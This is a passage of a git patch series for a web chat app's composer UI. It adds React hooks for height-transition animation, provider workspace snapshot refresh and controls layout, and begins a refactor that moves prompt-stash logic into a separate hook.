element.closest('[data-slot="composer-shell"]'); + const modelStrip = shell?.querySelector('[data-composer-model-strip="true"]'); + const interruptedStripHeight = + animationRef.current && modelStrip ? modelStrip.getBoundingClientRect().height : null; + const interruptedAnimation = animationRef.current; + const interruptedPromptTop = interruptedAnimation + ? (prompt?.getBoundingClientRect().top ?? null) + : null; + const interruptedActionTop = interruptedAnimation + ? (action?.getBoundingClientRect().top ?? null) + : null; + const interruptedControlsLeft = interruptedAnimation + ? (controls?.getBoundingClientRect().left ?? null) + : null; + const interruptedControlsTop = interruptedAnimation + ? (controls?.getBoundingClientRect().top ?? null) + : null; + const interruptedHeight = interruptedAnimation ? element.getBoundingClientRect().height : null; + const interruptedTargetHeight = animationTargetHeightRef.current; + const interruptedCurrentTime = + typeof interruptedAnimation?.currentTime === "number" + ? interruptedAnimation.currentTime + : null; + const interruptedDuration = interruptedAnimation?.effect?.getComputedTiming().duration; + if (transitionCleanupTimeoutRef.current !== null) { + window.clearTimeout(transitionCleanupTimeoutRef.current); + transitionCleanupTimeoutRef.current = null; + } + interruptedAnimation?.cancel(); + animationRef.current = null; + for (const animation of contentAnimationsRef.current) animation.cancel(); + contentAnimationsRef.current = []; + if (stateChanged) { + for (const animation of stateChangeAnimationsRef.current) animation.cancel(); + stateChangeAnimationsRef.current = []; + } + clearTransitionStyles(); + + const nextRect = element.getBoundingClientRect(); + const nextHeight = nextRect.height; + const nextModelStripHeight = modelStrip?.getBoundingClientRect().height ?? null; + // The chat view resize-observes the overlay to place the timeline + // inset, the scroll-to-end pill, and the mini player. Publishing the + // destination height here turns that feedback into one update instead + // of a ChatView re-render on every animation frame. + const overlay = element.closest('[data-chat-composer-overlay="true"]'); + const overlayRect = overlay?.getBoundingClientRect(); + const overlayHeight = overlayRect?.height ?? null; + if (overlayHeight !== null) { + onOverlayHeightChange(overlayHeight); + } + const nextPromptRect = prompt?.getBoundingClientRect() ?? null; + const nextPromptTop = nextPromptRect?.top ?? null; + const nextActionTop = action?.getBoundingClientRect().top ?? null; + const nextControlsRect = controls?.getBoundingClientRect() ?? null; + const nextControlsTop = nextControlsRect?.top ?? null; + const footerBottom = footer ? nextRect.bottom - footer.getBoundingClientRect().bottom : 1; + const previousHeight = interruptedHeight ?? previousHeightRef.current; + const targetChanged = + interruptedTargetHeight === null || Math.abs(interruptedTargetHeight - nextHeight) >= 0.5; + const shouldAnimate = shouldAnimateComposerRestingTransition({ + hasCompletedInitialLayout: hasCompletedInitialLayoutRef.current, + stateChanged, + hasInterruptedAnimation: interruptedHeight !== null, + }); + + if ( + shouldAnimate && + animationsActive && + previousHeight !== null && + Math.abs(previousHeight - nextHeight) >= 0.5 + ) { + const remainingDuration = + typeof interruptedDuration === "number" && interruptedCurrentTime !== null + ? Math.max(1, interruptedDuration - interruptedCurrentTime) + : animationDurationMs; + const duration = + interruptedHeight !== null && !targetChanged ? remainingDuration : animationDurationMs; + element.style.overflow = "clip"; + if (modelStrip) { + const controlsClearance = Math.max( + nextModelStripHeight ?? 0, + previousModelStripHeightRef.current ?? 0, + ); + element.style.overflowClipMargin = `${controlsClearance}px`; + element.style.clipPath = `inset(0 0 -${controlsClearance}px 0)`; + } + surface.style.height = "100%"; + + if (overlay && overlayHeight !== null) { + overlay.style.height = `${String(overlayHeight)}px`; + overlay.style.display = "flex"; + overlay.style.flexDirection = "column"; + overlay.style.justifyContent = "flex-end"; + pinnedOverlayRef.current = overlay; + } + + if (footer) { + footer.style.position = "absolute"; + footer.style.top = "auto"; + footer.style.bottom = `${String(footerBottom)}px`; + footer.style.height = "3rem"; + if (nextIsCollapsed) { + footer.style.left = "auto"; + footer.style.right = "1px"; + } else { + footer.style.left = "1px"; + footer.style.right = "1px"; + } + } + + let stripAnimation: Animation | null = null; + if (modelStrip) { + const stripHeight = modelStrip.getBoundingClientRect().height; + const stripOverlap = -Number.parseFloat(getComputedStyle(modelStrip).marginTop); + const fromHeight = + interruptedStripHeight ?? + (previousCollapsedRef.current + ? (previousModelStripHeightRef.current ?? stripHeight) + : stripOverlap); + const toHeight = nextIsCollapsed ? stripHeight : stripOverlap; + modelStrip.style.position = "relative"; + modelStrip.style.top = "auto"; + modelStrip.style.visibility = "visible"; + modelStrip.style.minHeight = "0"; + modelStrip.style.paddingTop = "0"; + modelStrip.style.alignItems = "flex-end"; + modelStrip.style.pointerEvents = "none"; + modelStrip.style.zIndex = "20"; + shell?.setAttribute("data-model-strip-transition", "true"); + stripAnimation = modelStrip.animate( + [{ height: `${fromHeight}px` }, { height: `${toHeight}px` }], + { duration, easing: COMPOSER_RESTING_TRANSITION_EASING, fill: "both" }, + ); + } + + const animation = element.animate( + [{ height: `${previousHeight}px` }, { height: `${nextHeight}px` }], + { + duration, + easing: COMPOSER_RESTING_TRANSITION_EASING, + fill: "both", + }, + ); + animationRef.current = animation; + animationTargetHeightRef.current = nextHeight; + + const animatedRect = element.getBoundingClientRect(); + const previousBottom = + overlayRect && previousContentOffsetsRef.current.surfaceBottomInset !== null + ? overlayRect.bottom - previousContentOffsetsRef.current.surfaceBottomInset + : animatedRect.bottom; + const bottomShift = previousBottom - animatedRect.bottom; + const previousPromptTop = + interruptedPromptTop ?? + (previousContentOffsetsRef.current.promptFromTop === null + ? null + : animatedRect.top + bottomShift + previousContentOffsetsRef.current.promptFromTop); + const previousActionTop = + interruptedActionTop ?? + (previousContentOffsetsRef.current.actionFromBottom === null + ? null + : previousBottom - previousContentOffsetsRef.current.actionFromBottom); + const contentAnimations: Animation[] = stripAnimation ? [stripAnimation] : []; + const animateContentPosition = ( + content: HTMLElement | null, + previousTop: number | null, + previousLeft: number | null = null, + ) => { + if (!content || previousTop === null) return; + const rect = content.getBoundingClientRect(); + const offset = previousTop - rect.top; + const offsetX = previousLeft === null ? 0 : previousLeft - rect.left; + if (Math.abs(offset) < 0.5 && Math.abs(offsetX) < 0.5) return; + contentAnimations.push( + content.animate( + [{ transform: `translate(${offsetX}px, ${offset}px)` }, { transform: "none" }], + { + duration, + easing: COMPOSER_RESTING_TRANSITION_EASING, + }, + ), + ); + }; + animateContentPosition(prompt, previousPromptTop); + animateContentPosition(action, previousActionTop); + if (continuousControls) { + const previousControlsTop = + interruptedControlsTop ?? + (previousContentOffsetsRef.current.controlsFromBottom === null + ? null + : previousBottom - previousContentOffsetsRef.current.controlsFromBottom); + const previousControlsLeft = + interruptedControlsLeft ?? + (previousContentOffsetsRef.current.controlsFromLeft === null + ? null + : animatedRect.left + previousContentOffsetsRef.current.controlsFromLeft); + animateContentPosition(controls, previousControlsTop, previousControlsLeft); + } + contentAnimationsRef.current = contentAnimations; + + if (stateChanged) { + const stateChangeAnimations: Animation[] = []; + + const previousPromptHeight = previousContentOffsetsRef.current.promptHeight; + if ( + !nextIsCollapsed && + prompt && + nextPromptRect && + previousPromptHeight !== null && + nextPromptRect.height - previousPromptHeight >= 0.5 + ) { + const hiddenHeight = nextPromptRect.height - previousPromptHeight; + stateChangeAnimations.push( + prompt.animate( + [ + { clipPath: `inset(0 0 ${String(hiddenHeight)}px 0)` }, + { clipPath: "inset(0 0 0 0)" }, + ], + { + duration, + easing: COMPOSER_RESTING_TRANSITION_EASING, + }, + ), + ); + } + + const arrivingControls = nextIsCollapsed + ? restingControlsRef.current + : element.querySelector('[data-chat-composer-controls="left"]'); + if (arrivingControls && !continuousControls) { + const drift = nextIsCollapsed + ? -COMPOSER_RESTING_CONTROLS_ARRIVAL_DRIFT_PX + : COMPOSER_RESTING_CONTROLS_ARRIVAL_DRIFT_PX; + stateChangeAnimations.push( + arrivingControls.animate( + [ + { opacity: 0, transform: `translateY(${String(drift)}px)` }, + { opacity: 1, transform: "none" }, + ], + { + duration: nextIsCollapsed ? duration : duration / 2, + delay: nextIsCollapsed ? 0 : duration / 2, + fill: "backwards", + easing: COMPOSER_RESTING_TRANSITION_EASING, + }, + ), + ); + } + + const arrivingImagePreviews = nextIsCollapsed + ? Array.from( + element.querySelectorAll('[data-chat-composer-resting-images="true"]'), + ) + : Array.from( + element.querySelectorAll('[data-chat-composer-expanded-image="true"]'), + ); + for (const imagePreview of arrivingImagePreviews) { + stateChangeAnimations.push( + imagePreview.animate([{ opacity: 0 }, { opacity: 1 }], { + duration: nextIsCollapsed ? duration : duration / 2, + delay: nextIsCollapsed ? 0 : duration / 2, + fill: "backwards", + easing: COMPOSER_RESTING_TRANSITION_EASING, + }), + ); + } + stateChangeAnimationsRef.current = stateChangeAnimations; + } + + const finishTransition = (cancelAnimations: boolean) => { + if (animationRef.current !== animation) return; + if (transitionCleanupTimeoutRef.current !== null) { + window.clearTimeout(transitionCleanupTimeoutRef.current); + transitionCleanupTimeoutRef.current = null; + } + if (cancelAnimations) { + animation.cancel(); + for (const contentAnimation of contentAnimationsRef.current) { + contentAnimation.cancel(); + } + for (const stateChangeAnimation of stateChangeAnimationsRef.current) { + stateChangeAnimation.cancel(); + } + } + animationRef.current = null; + animationTargetHeightRef.current = null; + contentAnimationsRef.current = []; + stateChangeAnimationsRef.current = []; + animation.cancel(); + stripAnimation?.cancel(); + clearTransitionStyles(); + }; + void animation.finished.catch(() => undefined).then(() => finishTransition(false)); + // A suspended document timeline can leave `finished` pending while + // these measurement styles remain active. Wall-clock cleanup makes + // the natural layout the eventual source of truth in that case. + transitionCleanupTimeoutRef.current = window.setTimeout( + () => finishTransition(true), + duration + COMPOSER_RESTING_TRANSITION_CLEANUP_BUFFER_MS, + ); + } else { + animationTargetHeightRef.current = null; + } + + previousCollapsedRef.current = nextIsCollapsed; + previousHeightRef.current = nextHeight; + previousModelStripHeightRef.current = nextModelStripHeight; + previousContentOffsetsRef.current = { + promptFromTop: nextPromptTop === null ? null : nextPromptTop - nextRect.top, + promptHeight: nextPromptRect?.height ?? null, + actionFromBottom: nextActionTop === null ? null : nextRect.bottom - nextActionTop, + controlsFromBottom: nextControlsTop === null ? null : nextRect.bottom - nextControlsTop, + controlsFromLeft: nextControlsRect === null ? null : nextControlsRect.left - nextRect.left, + surfaceBottomInset: overlayRect ? overlayRect.bottom - nextRect.bottom : null, + }; + }; + + useLayoutEffect(() => { + const requestId = transitionLayoutRequestRef.current + 1; + transitionLayoutRequestRef.current = requestId; + const stateChanged = previousCollapsedRef.current !== isCollapsed; + // A non-Git context strip enters or leaves flow through ChatView state in + // an earlier layout effect. Let React flush that parent update before the + // FLIP reads its destination geometry, while still running before paint. + queueMicrotask(() => { + if (transitionLayoutRequestRef.current !== requestId) return; + transitionToCurrentGeometry(stateChanged); + }); + return () => { + if (transitionLayoutRequestRef.current === requestId) { + transitionLayoutRequestRef.current += 1; + } + }; + }, [isCollapsed, transitionToCurrentGeometry]); + + useLayoutEffect(() => { + if (previousRestingRef.current === isResting) return; + previousRestingRef.current = isResting; + if (animationRef.current) return; + const overlay = elementRef.current?.closest('[data-chat-composer-overlay="true"]'); + if (overlay) onOverlayHeightChange(overlay.getBoundingClientRect().height); + }, [isResting, onOverlayHeightChange]); + + useLayoutEffect(() => { + const element = elementRef.current; + if (!element) return; + + const body = element.querySelector('[data-chat-composer-body="true"]'); + return observeResize(body ? [element, body] : element, (entries) => { + if (animationRef.current) { + if (body && entries.some((entry) => entry.target === body)) { + transitionToCurrentGeometry(false); + } + return; + } + const elementRect = element.getBoundingClientRect(); + const visibleTransitionElement = (selector: string) => + Array.from(element.querySelectorAll(selector)).find( + (candidate) => candidate.getClientRects().length > 0, + ) ?? null; + const promptRect = visibleTransitionElement( + '[data-composer-prompt-surface="true"], [data-chat-composer-transition-prompt="true"]', + )?.getBoundingClientRect(); + const actionTop = visibleTransitionElement( + '[data-chat-composer-transition-actions="true"]', + )?.getBoundingClientRect().top; + const controlsRect = ( + isCollapsedRef.current + ? restingControlsRef.current + : visibleTransitionElement('[data-chat-composer-controls="left"]') + )?.getBoundingClientRect(); + previousHeightRef.current = elementRect.height; + previousContentOffsetsRef.current = { + promptFromTop: promptRect === undefined ? null : promptRect.top - elementRect.top, + promptHeight: promptRect?.height ?? null, + actionFromBottom: actionTop === undefined ? null : elementRect.bottom - actionTop, + controlsFromBottom: + controlsRect === undefined ? null : elementRect.bottom - controlsRect.top, + controlsFromLeft: controlsRect === undefined ? null : controlsRect.left - elementRect.left, + surfaceBottomInset: + (element + .closest('[data-chat-composer-overlay="true"]') + ?.getBoundingClientRect().bottom ?? elementRect.bottom) - elementRect.bottom, + }; + }); + }, [restingControlsRef, transitionToCurrentGeometry]); + + useEffect(() => { + hasCompletedInitialLayoutRef.current = true; + return () => { + if (transitionCleanupTimeoutRef.current !== null) { + window.clearTimeout(transitionCleanupTimeoutRef.current); + transitionCleanupTimeoutRef.current = null; + } + animationRef.current?.cancel(); + animationRef.current = null; + animationTargetHeightRef.current = null; + for (const animation of contentAnimationsRef.current) animation.cancel(); + contentAnimationsRef.current = []; + for (const animation of stateChangeAnimationsRef.current) animation.cancel(); + stateChangeAnimationsRef.current = []; + clearTransitionStyles(); + }; + }, [clearTransitionStyles]); + + return elementRef; +} diff --git a/apps/web/src/components/chat/useProviderWorkspaceSnapshotRefresh.ts b/apps/web/src/components/chat/useProviderWorkspaceSnapshotRefresh.ts new file mode 100644 index 000000000000..bda0641e9091 --- /dev/null +++ b/apps/web/src/components/chat/useProviderWorkspaceSnapshotRefresh.ts @@ -0,0 +1,137 @@ +import { + type EnvironmentId, + PROVIDER_WORKSPACE_SNAPSHOT_TTL_MS, + type ServerProvider, +} from "@t3tools/contracts"; +import { type ProviderInstanceEntry } from "../../providerInstances"; +import { + hasCompleteProviderWorkspaceSnapshot, + hasCurrentProviderWorkspaceSnapshot, +} from "@t3tools/client-runtime/providerSkills"; +import { serverEnvironment } from "../../state/server"; +import { useAtomCommand } from "../../state/use-atom-command"; +import { useEffect, useEffectEvent, useRef, useState } from "react"; +import { useStableCallback } from "../../hooks/useStableCallback"; + +const WORKSPACE_SNAPSHOT_RETRY_COOLDOWN_MS = 10_000; + +/** + * Keeps the selected provider's workspace snapshot fresh for the composer's + * cwd. Returns a check to run when the user types. + */ +export function useProviderWorkspaceSnapshotRefresh(input: { + readonly environmentId: EnvironmentId; + readonly gitCwd: string | null; + readonly selectedProviderEntry: ProviderInstanceEntry | undefined; + readonly selectedProviderStatus: ServerProvider | null; +}) { + const { environmentId, gitCwd, selectedProviderEntry, selectedProviderStatus } = input; + const refreshProviders = useAtomCommand(serverEnvironment.refreshProviders, { + reportFailure: false, + }); + // The last scan this composer asked for. A request inside the TTL is not + // repeated, so a client clock ahead of the server's cannot loop rescans. + const workspaceRefreshKeyRef = useRef<{ key: string; requestedAt: number } | null>(null); + const [workspaceRefreshRetry, setWorkspaceRefreshRetry] = useState<{ + key: string; + notBefore: number; + } | null>(null); + const workspaceRefreshScopeKey = + gitCwd && selectedProviderEntry + ? `${environmentId}:${selectedProviderEntry.instanceId}:${gitCwd}` + : null; + const workspaceSlashCommandsPending = + selectedProviderStatus?.workspaceSnapshots?.some( + (snapshot) => snapshot.cwd === gitCwd && snapshot.slashCommandsPending === true, + ) ?? false; + useEffect(() => { + if ( + !workspaceSlashCommandsPending || + !workspaceRefreshRetry || + workspaceRefreshRetry.key !== workspaceRefreshScopeKey + ) + return; + const timeout = setTimeout( + () => { + setWorkspaceRefreshRetry((current) => (current === workspaceRefreshRetry ? null : current)); + }, + Math.max(0, workspaceRefreshRetry.notBefore - Date.now()), + ); + return () => clearTimeout(timeout); + }, [workspaceRefreshRetry, workspaceRefreshScopeKey, workspaceSlashCommandsPending]); + // Losing a snapshot (the server dropped it) lifts both the TTL and the retry + // cooldown so the next check rescans at once. + const hasWorkspaceSnapshot = hasCompleteProviderWorkspaceSnapshot(selectedProviderStatus, gitCwd); + const [hadWorkspaceSnapshot, setHadWorkspaceSnapshot] = useState(hasWorkspaceSnapshot); + const [workspaceSnapshotLossCount, setWorkspaceSnapshotLossCount] = useState(0); + if (hadWorkspaceSnapshot !== hasWorkspaceSnapshot) { + setHadWorkspaceSnapshot(hasWorkspaceSnapshot); + if (!hasWorkspaceSnapshot) { + setWorkspaceSnapshotLossCount((count) => count + 1); + setWorkspaceRefreshRetry(null); + } + } + const lastWorkspaceSnapshotLossRef = useRef(workspaceSnapshotLossCount); + const refreshWorkspaceSnapshotIfStale = ( + now: number, + key: string | null, + retry: { key: string; notBefore: number } | null, + snapshotLossCount: number, + ) => { + if (lastWorkspaceSnapshotLossRef.current !== snapshotLossCount) { + lastWorkspaceSnapshotLossRef.current = snapshotLossCount; + workspaceRefreshKeyRef.current = null; + } + if (key === null || !gitCwd || !selectedProviderEntry) return; + const lastRequest = workspaceRefreshKeyRef.current; + if ( + lastRequest?.key === key && + now - lastRequest.requestedAt < PROVIDER_WORKSPACE_SNAPSHOT_TTL_MS + ) + return; + // A pending retry needs no clearing here: its cooldown lapses long before the TTL. + if (hasCurrentProviderWorkspaceSnapshot(selectedProviderStatus, gitCwd, now)) return; + if (retry?.key === key && now < retry.notBefore) return; + const request = { key, requestedAt: now }; + workspaceRefreshKeyRef.current = request; + const retryLater = () => { + if (workspaceRefreshKeyRef.current !== request) return; + workspaceRefreshKeyRef.current = null; + setWorkspaceRefreshRetry({ + key, + notBefore: Date.now() + WORKSPACE_SNAPSHOT_RETRY_COOLDOWN_MS, + }); + }; + void refreshProviders({ + environmentId, + input: { instanceId: selectedProviderEntry.instanceId, cwd: gitCwd }, + }).then((result) => { + const refreshedSnapshot = + result._tag === "Success" && + hasCompleteProviderWorkspaceSnapshot( + result.value.providers.find( + (provider) => provider.instanceId === selectedProviderEntry.instanceId, + ), + gitCwd, + ); + if (!refreshedSnapshot) retryLater(); + }, retryLater); + }; + const refreshWorkspaceSnapshotOnChange = useEffectEvent(refreshWorkspaceSnapshotIfStale); + useEffect(() => { + refreshWorkspaceSnapshotOnChange( + Date.now(), + workspaceRefreshScopeKey, + workspaceRefreshRetry, + workspaceSnapshotLossCount, + ); + }, [workspaceRefreshScopeKey, workspaceRefreshRetry, workspaceSnapshotLossCount]); + return useStableCallback(() => + refreshWorkspaceSnapshotIfStale( + Date.now(), + workspaceRefreshScopeKey, + workspaceRefreshRetry, + workspaceSnapshotLossCount, + ), + ); +} diff --git a/apps/web/src/components/chat/useRestingComposerControlsLayout.ts b/apps/web/src/components/chat/useRestingComposerControlsLayout.ts new file mode 100644 index 000000000000..e75aab3a117f --- /dev/null +++ b/apps/web/src/components/chat/useRestingComposerControlsLayout.ts @@ -0,0 +1,84 @@ +import { measureRestingComposerControls } from "./restingComposerControlsMeasurement"; +import { observeResize } from "~/lib/observeResize"; +import { resolveRestingComposerControlsLayout } from "../composerFooterLayout"; +import { useLayoutEffect, useRef, useState } from "react"; + +export function useRestingComposerControlsLayout( + host: HTMLDivElement | null, + useControlsAsHost = false, +) { + const [controls, setControls] = useState(null); + const controlsRef = useRef(null); + const attachControls = (element: HTMLDivElement | null) => { + controlsRef.current = element; + setControls(element); + }; + const [layout, setLayout] = useState<{ + hiddenCount: number; + iconOnlyCount?: number; + visible: boolean; + }>({ hiddenCount: 0, visible: true }); + + const measure = () => { + const currentHost = useControlsAsHost ? controls : host; + if (currentHost === null || !controls) return; + + const measurement = measureRestingComposerControls(controls); + if (!measurement) return; + const style = getComputedStyle(currentHost); + const hostWidth = + currentHost.clientWidth - + (Number.parseFloat(style.paddingInlineStart) || 0) - + (Number.parseFloat(style.paddingInlineEnd) || 0); + + setLayout((current) => { + const next = resolveRestingComposerControlsLayout({ + ...measurement, + hostWidth, + previous: current, + }); + return next.hiddenCount === current.hiddenCount && + next.iconOnlyCount === current.iconOnlyCount && + next.visible === current.visible + ? current + : next; + }); + }; + + useLayoutEffect(() => { + const currentHost = useControlsAsHost ? controls : host; + if (!currentHost || !controls) return; + let stopObserving = () => {}; + const observeControls = () => { + stopObserving(); + stopObserving = observeResize( + [ + currentHost, + controls, + ...controls.querySelectorAll( + "[data-resting-block], [data-composer-control-label], [data-chat-provider-model-picker-label]", + ), + ], + measure, + ); + measure(); + }; + observeControls(); + const mutations = new MutationObserver(observeControls); + mutations.observe(controls, { childList: true, subtree: true, characterData: true }); + document.fonts.addEventListener("loadingdone", measure); + return () => { + stopObserving(); + mutations.disconnect(); + document.fonts.removeEventListener("loadingdone", measure); + }; + }, [host, controls, useControlsAsHost, measure]); + + return { + controlsRef, + attachControls, + hiddenBlockCount: layout.hiddenCount, + iconOnlyBlockCount: layout.iconOnlyCount ?? 0, + controlsVisible: layout.visible, + }; +} From 0755f98401fec0f3400d4c4ef2294aa92ace39d1 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 13:23:39 -0700 Subject: [PATCH 025/130] refactor(web): the prompt stash lives in useComposerStash (#23046) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ChatComposer.tsx | 660 +--------------- .../src/components/chat/useComposerStash.ts | 745 ++++++++++++++++++ 2 files changed, 788 insertions(+), 617 deletions(-) create mode 100644 apps/web/src/components/chat/useComposerStash.ts diff --git a/apps/web/src/components/chat/ChatComposer.tsx b/apps/web/src/components/chat/ChatComposer.tsx index 03c9a4987543..de7dea54f9fe 100644 --- a/apps/web/src/components/chat/ChatComposer.tsx +++ b/apps/web/src/components/chat/ChatComposer.tsx @@ -103,23 +103,14 @@ import { type ComposerFileAttachment, type ComposerImageAttachment, type DraftId, - type PersistedComposerFileAttachment, type PersistedComposerImageAttachment, - composerFileDedupKey, composerFileMatchesReattachMarker, composerFileNeedsReattach, composerDraftHasUserContent, composerTargetKey, - hydrateImagesFromPersisted, useComposerDraftStore, useComposerThreadDraft, } from "../../composerDraftStore"; -import { - MAX_STASH_ENTRIES, - partitionStashAttachments, - usePromptStashStore, - type PromptStashEntry, -} from "../../promptStashStore"; import { ComposerStashBadge } from "./ComposerStashBadge"; import { ComposerStashMenu } from "./ComposerStashMenu"; import { useComposerTriggerState } from "./useComposerTriggerState"; @@ -146,7 +137,7 @@ import { type ComposerBannerStackContent, type ComposerBannerStackItem, } from "./ComposerBannerStack"; -import { compressImageForStash, prepareImageForAttachment } from "../../lib/imageCompression"; +import { prepareImageForAttachment } from "../../lib/imageCompression"; import { fileAttachmentTooLargeMessage, formatAttachmentSize, @@ -162,27 +153,19 @@ import { shouldHandleComposerAttachmentPaste, } from "./composerAttachmentFiles"; import { - readAttachmentUpload, releaseAttachmentUpload, releaseDraftAttachment, - releasePersistedAttachmentUpload, startAttachmentUpload, useAttachmentUploadStore, - verifyStashedAttachmentUpload, } from "../../lib/attachmentUploadQueue"; import { attachmentUploadBlockReason } from "../../lib/attachmentUploadState"; -import { isCommandPaletteOpen } from "../../commandPaletteBus"; -import { getTerminalFocusOwner } from "../../lib/terminalFocus"; import type { AssistantCitationSourceAnchor } from "~/lib/assistantTextSelection"; -import { resolveShortcutCommand, shortcutLabelForCommand } from "../../keybindings"; +import { shortcutLabelForCommand } from "../../keybindings"; import { type TerminalContextDraft, type TerminalContextSelection, } from "../../lib/terminalContext"; -import { - replaceComposerContextReferences, - toKindScopedComposerContextId, -} from "@t3tools/shared/composerContextReferences"; +import { toKindScopedComposerContextId } from "@t3tools/shared/composerContextReferences"; import { shouldUseCompactComposerPrimaryActions, shouldUseCompactComposerFooter, @@ -292,7 +275,6 @@ import { buildExpandedImagePreview, type ExpandedImagePreview, } from "./ExpandedImagePreview"; -import { resizeSnapShotSource } from "../../lib/snapShotSource"; import { cn, isMacPlatform, randomUUID } from "~/lib/utils"; import { getComposerPromptLengthValidationMessage, @@ -301,10 +283,7 @@ import { } from "./composerSubmission"; import { ComposerPromptLengthValidation } from "./ComposerPromptLengthValidation"; import { pendingDraftWork } from "./pendingDraftWork"; -import { - importComposerThreadAttachment, - remainingComposerAttachmentSlots, -} from "./composerThreadImport"; +import { importComposerThreadAttachment } from "./composerThreadImport"; import { isTimelineScrollTarget } from "./timelineScrollTarget"; import { createComposerScrollGestureState, @@ -367,6 +346,7 @@ import { useRestingComposerControlsLayout } from "./useRestingComposerControlsLa import { useProviderWorkspaceSnapshotRefresh } from "./useProviderWorkspaceSnapshotRefresh"; import { useComposerProviderModel } from "./useComposerProviderModel"; import { useComposerImageGroups } from "./useComposerImageGroups"; +import { useComposerStash } from "./useComposerStash"; /** Reads and disarms a paste-as-text deadline: the shortcut applies to one paste only. */ function consumePasteAsTextShortcut(deadline: { current: number }): boolean { @@ -939,12 +919,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) const clearComposerDraftPersistedAttachments = useComposerDraftStore( (store) => store.clearPersistedAttachments, ); - const clearComposerDraftTerminalContexts = useComposerDraftStore( - (store) => store.clearTerminalContexts, - ); - const clearComposerDraftPromptAndImages = useComposerDraftStore( - (store) => store.clearComposerPromptAndImages, - ); const syncComposerDraftPersistedAttachments = useComposerDraftStore( (store) => store.syncPersistedAttachments, ); @@ -1198,12 +1172,7 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) const [composerMenuAnchor, setComposerMenuAnchor] = useState(null); const hasWrappedPrompt = useComposerMultilinePrompt(composerMenuAnchor); const hasMultilinePrompt = prompt.includes("\n") || hasWrappedPrompt; - const [isStashMenuOpen, setIsStashMenuOpen] = useState(false); const [isTasksDrawerOpen, setIsTasksDrawerOpen] = useState(false); - const [stashPulse, setStashPulse] = useState<{ key: number; active: boolean }>({ - key: 0, - active: false, - }); // A pending question stays expanded: its card moves into the banner dock, // so collapsing would leave the surface empty and squashed beneath it. const isComposerCollapsedMobile = @@ -1234,9 +1203,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) const composerScrollCollapseEligibleRef = useRef(false); const windowRefocusInFlightRef = useRef(false); const composerScrollGestureRef = useRef(createComposerScrollGestureState()); - const stashPulseKeyRef = useRef(0); - const stashPulseTimeoutRef = useRef(null); - const stashInFlightRef = useRef>(new Set()); const pendingImageCompressionsRef = useRef>(new Map()); const pendingThreadImportsRef = useRef>(new Map()); const isRevertingCheckpointRef = useRef(isRevertingCheckpoint); @@ -2786,536 +2752,44 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) return false; }; - const stashQueue = usePromptStashStore((state) => state.entries); - const stashEntryToQueue = usePromptStashStore((state) => state.stashEntry); - const takeStashEntry = usePromptStashStore((state) => state.takeEntry); - const finalizeStashEntryImages = usePromptStashStore((state) => state.finalizeEntryImages); - - useEffect(() => { - return () => { - if (stashPulseTimeoutRef.current !== null) { - window.clearTimeout(stashPulseTimeoutRef.current); - } - }; - }, []); - - const pulseStashBadge = () => { - stashPulseKeyRef.current += 1; - setStashPulse({ key: stashPulseKeyRef.current, active: true }); - if (stashPulseTimeoutRef.current !== null) { - window.clearTimeout(stashPulseTimeoutRef.current); - } - stashPulseTimeoutRef.current = window.setTimeout(() => { - stashPulseTimeoutRef.current = null; - setStashPulse((current) => ({ ...current, active: false })); - }, 1200); - }; - - const restoreStashEntry = async (menuEntry: PromptStashEntry) => { - const filesToVerify = menuEntry.files ?? []; - if (filesToVerify.some((file) => file.environmentId !== environmentId)) { - toastManager.add({ - type: "error", - title: "Stashed files belong to another environment", - description: "Restore this prompt in the environment that received its files.", - }); - return; - } - setIsStashMenuOpen(false); - - // An expired upload restores as a needs-reattach row instead of a reference - // the next send would fail to verify. Verify BEFORE taking: the take - // removes the entry from durable storage, and a tab closed during this - // await must still find it there after reload. - const verifications = await Promise.all( - filesToVerify.map((file) => - verifyStashedAttachmentUpload({ environmentId, attachmentId: file.attachmentId }), - ), - ); - const expiredAttachmentIds = new Set( - filesToVerify - .filter((_, index) => verifications[index]?.status === "missing") - .map((file) => file.attachmentId), - ); - - // A thread switch during the verify await would mix the new thread's - // prompt with this invocation's captured target. Nothing was taken yet, - // so abort and leave the entry restorable where the user now is. - if ( - isRevertingCheckpointRef.current || - composerTargetKey(composerDraftTarget) !== composerDraftTargetKeyRef.current - ) { - return; - } - - const { entry, durable } = takeStashEntry(menuEntry.id); - if (!entry) return; - if (!durable) { - toastManager.add({ - type: "warning", - title: "Restored prompt may reappear in the stash", - description: - "Browser storage rejected the update, so this entry could still be there after a reload.", - data: { hideCopyButton: true }, - }); - } - - const rewrittenContextIds = entry.records - ? importContextRecords(entry.records, null, composerDraftTarget) - : new Map(); - const restoredPrompt = replaceComposerContextReferences(entry.prompt, (reference) => { - const contextId = rewrittenContextIds.get(reference.contextId); - return contextId - ? formatInlineContextReference({ - ...reference, - contextId, - kind: reference.kind === "element" ? "preview-annotation" : reference.kind, - }) - : reference.source; - }); - const currentPrompt = promptRef.current; - const nextPrompt = - restoredPrompt.length === 0 - ? currentPrompt - : currentPrompt.trim().length - ? `${currentPrompt.replace(/\s+$/, "")}\n\n${restoredPrompt}` - : restoredPrompt; - let promptChanged = nextPrompt !== currentPrompt; - if (promptChanged) { - promptRef.current = nextPrompt; - setComposerDraftPrompt(composerDraftTarget, nextPrompt); - setComposerCursor(collapseExpandedComposerCursor(nextPrompt, nextPrompt.length)); - setComposerTrigger(null); - } - - let unrestoredFileNames: string[] = []; - const expiredFileNames: string[] = []; - let restoredFileCount = 0; - const stashedFiles = entry.files ?? []; - if (stashedFiles.length > 0) { - const composerFilesNow = composerFilesRef.current; - const existingFileIds = new Set(composerFilesNow.map((file) => file.id)); - const retainedUploadIds = new Set( - composerFilesNow.flatMap((file) => - file.uploadedAttachmentId ? [file.uploadedAttachmentId] : [], - ), - ); - const existingFileKeys = new Set(composerFilesNow.map(composerFileDedupKey)); - const reattachMarkers = composerFilesNow.filter(composerFileNeedsReattach); - const restoredMarkerIds = new Set(); - const duplicateFiles: PersistedComposerFileAttachment[] = []; - const markerReplacements: ComposerFileAttachment[] = []; - const appendedFiles: ComposerFileAttachment[] = []; - for (const file of stashedFiles) { - const expired = expiredAttachmentIds.has(file.attachmentId); - const key = composerFileDedupKey(file); - const restored: ComposerFileAttachment = { - type: "file", - id: file.id, 